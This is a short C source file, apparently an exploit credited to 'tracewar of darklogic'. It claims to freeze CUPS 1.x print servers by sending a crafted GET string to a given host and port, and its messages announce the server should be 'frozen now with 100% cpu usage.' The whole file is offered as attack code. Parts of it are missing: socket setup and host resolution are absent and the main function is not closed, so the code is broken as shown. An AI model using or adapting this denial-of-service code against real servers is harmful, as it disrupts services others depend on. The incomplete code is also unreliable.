void usage(char *argv0) {
fprintf(stdout, "cups/1.x server freeze and remote cpu usage fuckup\n");
fprintf(stdout, "exploit coded and bug found by tracewar of darklogic\n\n");
fprintf(stdout, "usage: %s remote_host remote_port\n", argv0);
exit(0);
}
int main(int argc, char **argv) {
char buffer[50] = "GET /";
int sock;
struct sockaddr_in serv_addr;
struct hostent *crap;
if (connect(sock, &serv_addr, sizeof(serv_addr)) < 0)
return printf("(error)\n# check again %s:%d\n", argv[1], atoi(argv[2]));
printf("(done)\n# sending crafted string... ");
if( (send(sock, buffer, strlen(buffer), 0)) == -1 )
return printf("\n# error while sending the crafted string.!\n");
close(sock);
return puts("(done)\n# The server should be frozen now with 100\% cpu usage.");